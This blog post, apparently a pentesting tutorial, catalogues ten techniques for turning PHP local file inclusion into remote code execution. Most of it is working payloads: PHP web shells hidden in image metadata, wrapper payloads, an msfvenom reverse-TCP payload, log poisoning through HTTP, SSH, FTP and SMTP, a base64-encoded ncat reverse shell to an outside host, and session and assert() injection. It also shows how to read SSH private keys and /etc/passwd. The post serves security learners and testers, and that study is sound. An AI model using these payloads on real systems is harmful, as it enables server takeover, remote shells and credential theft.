10 ways to get RCE From LFI

Omar Elhadidi
21 min readFeb 25, 2022

--

Hi everyone

this is my first blog on how to get RCE From LFI Vulnerability . So let’s begin

Overview

[+] Requirements for code execution via LFI:

  1. The application or server writes to a file
  2. The contents of the file can be controlled
  3. The web server has permission to read the file

[+] LFI TO RCE Methods

1) LFI to RCE via file upload

2) LFI to RCE Using PHP wrappers

  • PHP Data:// Wrapper
  • PHP zip:// Wrapper
  • PHP expect:// Wrapper
  • PHP input:// Wrapper
  • PHP PHAR:// Wrapper

3) LFI to RCE via Log file contamination

  • Log file contamination via access log files
  • Log file contamination via SSH
  • Log file contamination via FTP
  • SMTP Log Poisoning through LFI to Remote Code Execution

4) LFI to RCE via /proc/self/environ

5) LFI to RCE via /proc/*/fd

6) LFI to RCE via PHP session

7) LFI to RCE via PHPinfo()/tmp files

8) LFI to RCE via PHP Assert() Function

9) LFI To RCE Via Reading SSH private key

10) LFI To RCE Via (PHP + nginx)

LFI To RCE Via File Upload

  • We don’t need that the file upload functionality to be vulnerable just if the web app has a file upload functionality but has a Local file inclusion vulnerability, we can inject codes inside the metadata of an image because File Inclusion allows users to execute any file through URL

[+] Simple Example

  • If you can upload a file, just inject the shell payload in it
  • → EX: <?php system($_GET[‘c’]); ?>
  • And include it
  • → http://example.com/index.php?page=path/to/uploaded/file.png

[+] Notes

[++] File Inclusion + file Upload

if we upload our shell and we imbedded it inside an image metadata we must include it via LFI otherwise our shell won’t execute Example:

This will be executed as File Inclusion allows users to execute any file through URL

This won’t be executed

[++] Embedding PHP code inside images

1) Simplest method

  • Echo “<?php system(\$_GET[‘cmd’]); ?>” > image.jpg

2) using Exif tool.

In order to keep the file readable, it is best to inject into the metadata for the pictures or doc or pdf

Exif pilot is a GUI tool for windows users which allow adding exif data and Meta data inside a JPEG, PNG and GIF images. Or we can use the same tool “exiftool” in Linux

  • exiftool -Comment=”<?php system(\$_GET[‘cmd’]); ?>” test.jpg

3) Using gifcycle tool

Same idea as exiftool but used for embedding metadata inside gif files

=> Installation & Usage

  • git clone https://github.com/kohler/gifsicle
  • cd gifsicle
  • autoreconf -i
  • ./configure
  • make install
  • gifsicle — comment “<?php system(\$_GET[‘cmd’]); ?>” < any.gif > any.php.gif

[++] Another Method

Instead of injecting the metadata of an image we can download a normal image and merge it with PHP code by using Metasploit

  • msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4444 >> /root/Desktop/Downloaded.png
  • finally set a listener and you will have a meterpreter session

LFI To RCE Using PHP Wrappers:

(1) Data wrapper

in some cases, you will be able to use the data wrapper which will make it easier to get a shell.

[++] Syntax

[++] Payloads:

index.php?page=data:text/plain,<?php system(“id”)?>

index.php?cmd=ls&file=data:text/plain,<?php system($_GET[“cmd”]) ?>

page=data:text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>

page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>

page=data://text/plain;base64,[base64_encode_shell]

page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIPPz4=

→payload decoded : <?php system(“id”)?>

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

→payload decoded: <?php system($_GET[‘cmd’]);echo ‘Shell done !’; ?>

page=data://text/plain;base64,PD9waHANCiRob21lcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdpbmRleC5waHAnKTsNCmVjaG8gJGhvbWVwYWdlOw0KPz4=

which is base64 coded for of the php code piece above

<?php

$homepage = file_get_contents(‘index.php’);

// <?=show_source(‘index.php’);?> ->same as the above

echo $homepage;

?>

[++] Notes:

To use PHP wrappers allow_url_include=on must be set to on otherwise you will get an error such as

  • include(): data:// wrapper is disabled in the server configuration by allow_url_include=0

If the developer black listed any of these words such as system and cmd you can base64 the payload

(2) zip wrapper (LFI to RCE in PHP using ZIP wrapper)

The zip wrapper processes uploaded zip files server side allowing the upload of a zip file using a vulnerable file function exploitation of the zip filter via an LFI to execute.

File upload + LFI vulnerability + PHP Wrapper => Use zIP:// wrapper !

[++] Exploitation Steps:

-> Create a PHP reverse shell

Payload 1:

<?php $data = file_get_contents(“index.php”); echo $data; ?>

Payload 2:

<?php $scan = scandir(‘.’); foreach($scan as $file){echo $file;} ?>

<?php print_R(scandir(‘.’)); ?>

Payload 3:

<?php system($_GET[“cmd”]); ?>

Payload 4:

<?php eval($_GET[‘c’]); ?> // page=tmp/upload/image.jpg%23s&c=phpinfo();

-> Compress to a .zip file

  • ZIP shell.zip shell.php
  • → If given error name too long name it (a.php) only one char before the extension

-> Upload the compressed shell payload to the server

-> Use the zip wrapper to extract the payload using:

  • page=zip://path/to/file.zip%23shell_name
  • page=zip://zipfilename#filename_when_unpacked
  • — > # is url encoded to %23
  • page=zip://tmp/upload/4ecgviJKf.jpg%23a.php
  • → The above will extract the zip file to shell, if the server does not append .php rename it to shell.php instead
  • page=zip://shell.jpg%23payload.php
  • → The %23 value is the hash symbol (#), which serves as a delimiter between the archive filename and the filename inside the archive that we want to unzip.

Using this trick we have basically circumvented the file upload restrictions of the web application disallowing us to upload a php file directly.

Note that PHP supports all these compression wrappers:

zlib:// example: compress.zlib://…

bzIP2://example: compress.bzIP2://…

zIP://example: zIP://archive.zIP#dir/file.txt

rar://example: rar://<url encoded archive name>[*][#[<url encoded entry name>]]

[++] All Steps Summary

(3) PHP expect wrapper (rare case)

Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default

[++] Exploitation Example:

Below is the error received if the PHP expect wrapper is disabled:

  • Warning: include(): Unable to find the wrapper “expect” — did you forget to enable it when you<br> configured PHP? in /var/www/fileincl/example1.php on line 7
  • Warning: include(expect://ls): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7
  • Warning: include(): Failed opening ‘expect://ls’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/fileincl/example1.php on line 7

(4) PHP input wrapper

[++] Exploitation Example:

POST Request

Post Data payload, try something simple to start with like:

  • <? system(‘uname -a’);?>

[++] Example Using curl

  • curl -X POST — data “<?php echo shell_exec(‘ls’); ?>” “http://example.com/index.php?page=php://input%00" -v

(5) PHP PHAR:// Wrapper

A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.

[++] Exploitation Steps

-> create_phar.php

<?php

$phar = new Phar(‘test.phar’);

$phar->startBuffering();

$phar->addFromString(‘test.txt’, ‘text’);

$phar->setStub(‘<?php __HALT_COMPILER(); system(“ls”); ?>’);

$phar->stopBuffering();

-> compile the PHAR executing the following line:

  • php --define phar.readonly=0 create_path.php

[++] Note

  • If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.

LFI to RCE via Log file contamination

[+] Overview

Log file contamination is the process of injecting source code into log files on the target system. This is achieved by embedding source code via other exposed services on the target system which the target [operating system / service] will store in log files.

For example:

  • injecting PHP reverse shell code into a URL, causing syslog to create an entry in the Apache access log for a 404 page not found entry. The Apache log file would then be parsed using a previously discovered file inclusion vulnerability, executing the injected PHP reverse shell.

After embedding source code to the target systems log file(s) the next step is identifying the location of the log file. During the recon and discovery stage of a security assessment the target operating system and web server would have been identified, a good starting point would be looking up the default log paths for the identified operating system and web server (if they are not already known by the consultant). FuzzDB’s Burp LFI payload lists can be used in conjunction with Burp intruder to quickly identify valid log file locations on the target system.

But, how can we know the Apache logs location? It depends of the operating system and the sysadmin. One option is to search typical directories where logs are saved:

  • /var/log/apache/
  • /var/log/httpd/
  • /usr/local/apache/logs/

Finally append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

[++] Examples:

http://example.com/index.php?page=/var/log/apache/access.log

http://example.com/index.php?page=/var/log/apache/error.log

http://example.com/index.php?page=/var/log/nginx/access.log

http://example.com/index.php?page=/var/log/nginx/error.log

http://example.com/index.php?page=/var/log/vsftpd.log

http://example.com/index.php?page=/var/log/SSHd.log

http://example.com/index.php?page=/var/log/mail

http://example.com/index.php?page=/var/log/httpd/error_log

http://example.com/index.php?page=/usr/local/apache/log/error_log

http://example.com/index.php?page=/usr/local/apache2/log/error_log

[++] Note

Generally, under the Linux system, the default installation of Apache or nginx does not have permission to access these files [log files]

Therefore, there is no way to access these files to achieve the RCE purpose, but sometimes some administrators may cause permission configuration errors due to convenience and other issues

(1) Log file contamination via access log files

log files store user data like [user agent /request type /referrer header / etc..] so if we tried to put php code in one of these, the server will execute it.

[++] Exploitation Steps

-> Step 1:

  • Check if you can read access.log file via the browser

-> Step 2:

For instance here we will inject our payload in the user agent header

  • user-agent: <?php phpinfo(); ?>
  • another payload: <?php system($_GET[‘cmd’]); ?>

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. So be careful as this could destroy the Shell

-> Step 3:

GET / index.php?page=/var/log/apache2/access.log&cmd=uname HTTP/1.1

[++] Notes

  • if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
  • This example could also be done in other log files but be careful, the code inside the logs could be URL encoded and this could destroy the Shell

(2) Log file contamination via SSH

[++] Overview

the auth.log file generates a log for every success and failed login attempt when we try to connect with the web server.

If we try to connect to the server by SSH with the wrong username/passwd, this username will be printed in the “auth.log” file Ex:

“Jun 4 22:14:15 server1 SSHd[41458] : invalid user test from 10.0.2.2 port 22 “

That means that we can control the value of the username in auth.log then to get an RCE we can write a PHP code instead of normal text

Taking advantage of this feature now we will send malicious PHP code as a fake user and it will get added automatically in the auth.log file as a new log.

Before starting we need to give some additional permission to the log file with the help of which other users can read log files from the browser.

  • chmod 775 -R /var/log/auth.log

[++] Exploitation Steps

-> Step 1:

  • Check if the SSH service is running

-> Step 2:

  • Check if you can read auth.log file via the browser

-> Step 3:

Try to SSH into the server with a PHP code as username <?php system($_GET[“cmd”]);?>.

  • SSH “<?php system($_GET[‘cmd’]);?>”@192.168.1.7

-> Step 4:

Then include the SSH log files inside the Web Application.

  • http://example.com/index.php?page=/var/log/auth.log&cmd=id

Get a remote shell with nc

SSH “<?php passthru(base64_decode(‘bmNhdCAtZSAvYmluL2Jhc2ggMTkyLjE2OC4xLjUgODg4OA==’));?>”@ 192.168.1.7

— bmNhdCAtZSAvYmluL2Jhc2ggMTkyLjE2OC4xLjUgODg4OA==

— this is the base64 encoding of = ncat -e /bin/bash 192.168.1.5 8888

— we are encoding it because the / can make some issues and errors in the log file that may crash our payload and it won’t work in that case we have to empty the log file and try from the beginning

Then Listen on our machine

nc –nlvp 8888

[++] Resources

(3) log poisoning via FTP

[++] Overview

The default vsftpd log file is /var/log/vsftpd. log. Basically, it keeps the track of the login activity or failed login attempts on the FTP server. It contains system authorization information, including user logins and authentication mechanism that were used.

Same as the previous method we will take advantage of this feature now we will send malicious PHP code as a fake user and it will get added automatically in the vsftpd.log file as a new log.

Before starting we need to give some additional permission to the log file with the help of which other users can read log files from the browser.

  • chmod 775 -R /var/log/auth.log

[++] Exploitation Steps

-> Step 1:

  • Check if the ftp service is running

-> Step 2:

  • Check if you can read vsftp.log file via the browser

-> Step 3:

try to make fake attempts with a PHP payload as a user on the ftp server of my target which will be saved in the vsftpd.log file

For example

  • Try to FTP into the server with a PHP code as username <?php system($_GET[“cmd”]);?>.

-> Step 4

Then include the FTP log files inside the Web Application.

  • http://example.com/index.php?page=/var/log/vsftpd.log&cmd=id

[++] Resources

(4) Log file contamination via mail log File [SMTP Log Poisoning through LFI to Remote Code Execution]

[++] Overview

If the target machine relays mail either directly or via another machine on the network and stores mail for the user www-data (or the Apache user) on the system then it’s possible to email a reverse shell to the target. If no MX records exist for the domain but SMTP is exposed it’s possible to connect to the target mail server and send mail to the www-data / Apache user. Mail is sent to the user running Apache such as www-data to ensure file system permissions will allow read access the file /var/spool/mail/www-data containing the injected PHP reverse shell code.

[++] Exploitation Steps

-> Check if smtp service is running

  • nmap -p25 192.168.1.107

-> Check if you can access the mail.log file

Now if you are able to access the mail.log file due to LFI, it means the mail.log has read and write permission and hence we can infect the log file by injecting malicious code.

-> Enumerate Users

The above image uses the smtp-user-enum Script confirming the www-data user exists on the system

-> Getting RCE (Method 1):

Let’s try to connect to the victim machine successfully. Now let’s try to send a mail via the command line (CLI) of this machine and send the OS commands via the “RCPT TO” option. Since the mail.log file generates a log for every mail when we try to connect with the webserver. Taking advantage of this feature now I will send malicious PHP code as the fake user and it will get added automatically in the mail.log file as a new log.

§ root@kali:~# telnet 10.10.10.10. 25

§ helo ok

§ mail from: mail@example.com

§ 250 2.1.0 Ok

§ RCPT TO:<?php system($_GET[‘cmd’]); ?>

-> Getting RCE (Method 2):

Send a mail to a internal account (www-data@localhost) containing <?php echo system($_REQUEST[“cmd”]); ?>

§ root@kali:~# telnet 10.10.10.10. 25

§ Trying 10.10.10.10….

§ Connected to 10.10.10.10..

§ Escape character is ‘^]’.

§ 220 straylight ESMTP Postfix (Debian/GNU)

§ helo ok

§ 250 straylight

§ mail from: mail@example.com

§ 250 2.1.0 Ok

§ rcpt to: www-data

§ 250 2.1.5 Ok

§ data

§ 354 End data with <CR><LF>.<CR><LF>

§ subject: <?php echo system($_GET[“cmd”]); ?>

§ data2

§ .

-> Finally try to execute PHP code

[++] Resources

LFI to RCE via /proc/self/environ

[+] Overview on proc directory

The proc file system (procfs) contains a hierarchy of special files that represent the current state of the kernel. It acts as an interface to internal data structures in the kernel for applications and users.

the Linux /proc/ directory holds information about different processes. Each process is distinguished by its PID, The /proc directory contains one subdirectory for each process running on the system, which is named after the process ID (PID). Concurrently, each of these directories contains files to store information about the respective process. as shown in the following screenshot.

The /proc/self represents the currently scheduled PID. In other words, a symbolic link to the currently running process’s directory.

Note

  • Files within this directory are listed as zero bytes in size, even though, can contain a large amount of data

[+] Overview on /proc/self directory

inside of /proc/self is a series of files representing various pieces of information about the process. The files relevant to us are

  • /proc/self/environ
  • /proc/self/stat
  • /proc/self/cmdline
  • /proc/self/fd.

[++] /proc/self/environ:

This entity is a file containing all environment variables within the context of the current process. In older versions of Apache, the user agent string of the browser accessing a page would be stored as an environment variable. The attacker sets his user agent string to a value containing executable code and then exploits a local file inclusion vulnerability to include /proc/self/environ. Apache then stores the user agent string containing code to an environment variable, which in turn is visible in /proc/self/environ, which is then included by the web server, executing the code.

contains environmental variables, and if we can access it as a non-root user (like www-data usually found on web servers), we can use it to get a shell.

we could say that /proc/self/environ is — roughly- equal to /proc/<apache_pid>/environ.

Apache stores an environment variable for the HTTP_USER_AGENT header to be used by the self-contained modules

On modern systems /proc/self/environ is not always accessible by the web server process. Despite this, it is still important to check for and is still a common vector used by attackers to this day.

[++] /proc/self/stat:

This file contains the process ID (PID) of the current process, typically the web server such as Apache.

  • /proc/self/stat — Current process id

[++] /proc/self/cmdline:

This entity stores the command-line invocation of the current process.

/proc/self/cmdline is not exploitable to achieve code execution but can be useful in finding the location of server configuration files and other sensitive locations if they were passed to Apache through the command line.

[++] /proc/self/fd:

This entity is a directory with symbolic links to all file streams the current process has open. This includes the three default file streams 0, 1, and 2 corresponding to STDIN, STDOUT, and STDERR, respectively. Any entry in /proc/self/fd over 2 represents a file opened by the process.

  • /proc/self/fd/# — Currently open file streams:

0, 1, 2 — STDIN, STDOUT, STDERR

  • Any number over 2 is a file opened by the process

[+] /Proc/Self/Environ Exploitation

-> Step 1:

  • Check if you can read the”/proc/self/environ file

-> Step 2

Like a log file It works by injecting PHP code into the user agent variable, which reflect inside the /proc/self/environ file and gets executed on the server when the page loads.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1

User-Agent: <?php system($_GET[‘c’]); ?>

Referer: <?php system($_GET[‘c’]); ?>

Forward the request, and we should the result of our payload

-> Example Using Curl

  • curl “http://example.com/index.php?page=/proc/self/environ&c=id" -H “User-Agent” --data “<?php system($_GET[‘c’]); ?>”

[+] Note

For most Linux Operating Systems the file shouldn’t be accessible from non-root users. This is why this technique is old and on upgraded systems, it will not work

LFI to RCE via /proc/*/fd

[+] Overview

What happens if you got LFI but didn’t have access to access logs files. then “/proc/self/fd” provides symbolic shortcut to access logs and various other system related file

/proc/*/fd directory

/proc/[PID]/fd/[number] are File descriptors. They Contains one entry for each file which the process has open

Similar to the previous /proc/self/environ method, it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI Script. Typically, you would use burp or curl to inject PHP code into the referrer header.

This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/

[++] Example:

  • → /proc/self/fd/2
  • → /proc/self/fd/10
  • → etc.

[+] Exploitation Steps

-> Step 1

Check the FD size by visiting /proc/self/status

-> Step 2

Brute forcing the directory structure of the /proc/self/fd/ directory with Burp Intruder [Bruteforce the process ID ($PID) and file descriptor id ($FD)]

As File Descriptors are identified by a numeric id, we choose the proper payload. Payloads > Payload type: Numbers

you can then monitor the returned page sizes and investigate. A successful enumeration should look like the following:

From the above response, we can see that the link file, located at /proc/self/fd/8 points to the Apache access log file.

-> Final Step

Include http://example.com/index.php?page=/proc/self/fd/$FD,

write your payload in the ‘referer’ header in the HTTP request or user_agent depends on the header that you see in the log file and forwarded it

-> Another Example

looking at the output from the Burp intruder, you can see that the length of most of the responses is 545 bytes, indicating no output was returned from including that file path. One response in particular, though, returned 626 bytes of output. Looking at this response we see /proc/self/fd/10 was a symbolic link to a secret file. The file was opened using the fopen() function in the same execution as the file inclusion flaw.

[+] Resources

LFI to RCE via PHP session

[+] Overview

Unfortunately, the system was quite hardened and the Apache process did neither have the necessary wrappers enabled nor had it access to any log files or the /proc tree . so any of the above-mentioned ways was silently failing with the application just returning its normal “authentication failed” response.

PHP session files are particularly useful for exploiting file inclusion. Web applications often have the need to temporarily store information on a per-session basis. That is, they need a way to associate data to a single user. By default, PHP does this by assigning a session ID to each unique session and storing it in a cookie on the client’s browser. Then, any data associated with that session is stored in a file named sess_[session id] and can be retrieved by the web application at will. A collection of these files is often kept

[++] PHP stores session data in files named sess_[PHPSESSID] in

  • /var/lib/phpX/sess_<PHPSESSID> (where x=Version) or
  • /var/lib/php/session/sess_[PHPSESSID]
  • C:\\Windows\ Temp
  • /tmp

If an attacker determines that there is a session variable whose value they can control, there exists the opportunity for code execution. The attacker injects PHP code into session variable and proceeds to include his own session file. This is done by retrieving the session ID from the cookie and testing the listed locations, trying to guess where the session files are stored. If the inclusion is successful, and we put the payload into the current session-file, code execution is achieved.

  • Session ID is stored in a viewable cookie
  • Attacker determines a session variable whose value they can control and injects PHP code Included session file executes the code

[++] Example:

Cat /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

  • loggedin|s:0:””;lang|s:9:”en_us.php”; user|s:6:”admin”;pass|s:6:”admin”;

Cat /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

  • loggedin|s:0:””;lang|s:9:”en_us.php”; user|s:26:”<? passthru($_GET[cmd]) ?>”;pass|s:6:”admin”;

[+] Vulnerable Code Example

<?php

$user = $_GET[‘user’];

session_start();

$_SESSION[‘user’]=$user; // or session_register(“user”);

// As we can see, it creates a session variable using a value obtained by GET without any sanitization or verifications.

?>

[+] Exploitation Steps

-> Check if the website use PHP Session (PHPSESSID):

  • Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/

-> Include your payload in the place where it will get reflected in the PHP sessions file:

  • login=1&user=<?php system(“cat /etc/passwd”);?>&pass=password
  • or cookie : name= <?php system(‘cat /etc/passwd’);?>

-> Use the LFI to include the PHP session file:

  • http://www.example.com/vuln.php?c=id&file=../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

[+] Exploitation Steps Summary

1. The attacker finds a session variable we can update and stores some PHP code in it. On the slide, a status update form allows a user of the web application to set what her current status is. This status is then stored in a session variable. The attacker sets the status to “like a boss! <?php echo “Pwned!” ?>.” If the code in this session variable is executed, the phrase “Pwned!” displays on the page.

2. The attacker retrieves his session ID by looking in the cookies. In this application, the session ID is stored in a cookie named PHPSESSID.

3. After the session file is poisoned with PHP code, and the attacker has identified the session ID, he can perform the inclusion as follows:

  • http://blog.sec642.org/fileview.php?loc=/var/lib/php5/sess_[session id_from_cookie]

4. Looking at the output you can see that the session file’s contents are shown on the page, and the code that we stored in that session file has been executed, outputting the phrase “Pwned!” to the page. Code execution!

[+] Resources

LFI to RCE via PHPinfo()/tmp files

[+] Overview

phpinfo.php page itself isn’t a vulnerability but if there is an LFI we can include this page and get a shell but how?

The output of the phpinfo() function contains the values of the PHP variables, including any values set via a $_GET, $_POST and $_FILES request.

phpinfo() page

The idea behind this exploitation technique is that if PHP accepts file uploads it creates a corresponding temporary file in /tmp/ folder but the temporary file will be deleted soon. The related content of this file can be viewed in phpinfo() _FILE[“file”]. If we manage to create a large enough file with a php reverse shell code, we could include this temporary file with our LFI by sending a second request right after the upload before file gets deleted, hence a race condition.

[+] Exploitation steps

-> Step 1

  • Find an LFI vulnerability

-> Step 2

  • find PHPinfo.php page a page where phpinfo() is displayed
  • and file upload must be on “file_uploads = on” and the server has to be able to write in the “/tmp” directory.

-> Step 3

Automate the exploitation with the Script provided the POC code is designed to do just that, create a race condition during which we should be able go gain a reverse shell

The POC needs some modifications before using it

Use the Script phpInfoLFI.py

You need to fix the exploit (change => for &gt=). To do so you can do:

  • sed -i ‘s/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g’ phpinfolfi.py
  • You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1=”””POST /install.php?mode=phpinfo&a=”””+padding+””” HTTP/1.1\r), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ=”””GET /info?page=%s%%00 HTTP/1.1\r — Check the double “%” when exploiting null char)

Another tool

[+] Resources

https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s&ab_channel=IPpSec

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-phpinfo-file_uploads-on

Research from

https://dustri.org/b/from-lfi-to-rce-in-php.html

https://rafalharazinski.gitbook.io/security/other-web-vulnerabilities/local-remote-file-inclusion/phpinfo-log-race-condition

https://www.fatalerrors.org/a/exploitation-of-phpinfo-vulnerability-information.html

LFI to RCE via Assert() Function

[+] Vulnerable code Example

<?php

if (isset($_GET[‘page’])) {

$page = $_GET[‘page’];

} else {

$page = “index.php”;

}

$file = “includes/” . $page . “.php”;

assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”); // vulnerable line!

?>

By injecting a single quote or double quote (depending on the way the string was declared), we can see an error message indicating that PHP tried to evaluate the code

  • ?name=hacker%27

Once we broke the syntax, we need to try to reconstruct it correctly. We can try the following: hacker’.’. The error message disappeared.

  • ?name=hacker%27.‘’.%27hacker

Now that we know how to finish the syntax to avoid errors, we can just inject our payload to run the function phpinfo(): hacker’.phpinfo().’ and we get the configuration of the PHP engine in the page.

[+] Other Payloads

?page =hacker%27.phpinfo().%27hacker

?page =about%27.system(“cat .passwd”).%27about

?page=’.system(“whoami;”).’about

?page= ‘ and die(system(“whoami”)) or ‘

?page= ‘ and die(show_source(‘/etc/passwd’)) or ‘

?page=’, ‘qwer’) === false && strlen(file_get_contents(“../../../../../etc/passwd”)) >0 && strpos(‘1

LFI To RCE Via Reading SSH private key

  • If SSH service is active check which user is being used by including First (/proc/self/status or /etc/passwd)
  • and then try to access <HOME>/.SSH/id_rsa and see if you can read the private key
Reading SSH Keys Via burp

LFI To RCE Via (PHP + nginx)

There is an good blog on this vulnerability you can find it here

Conclusion

thank you for your time and hope that you liked it as I spent so much time on this

--

--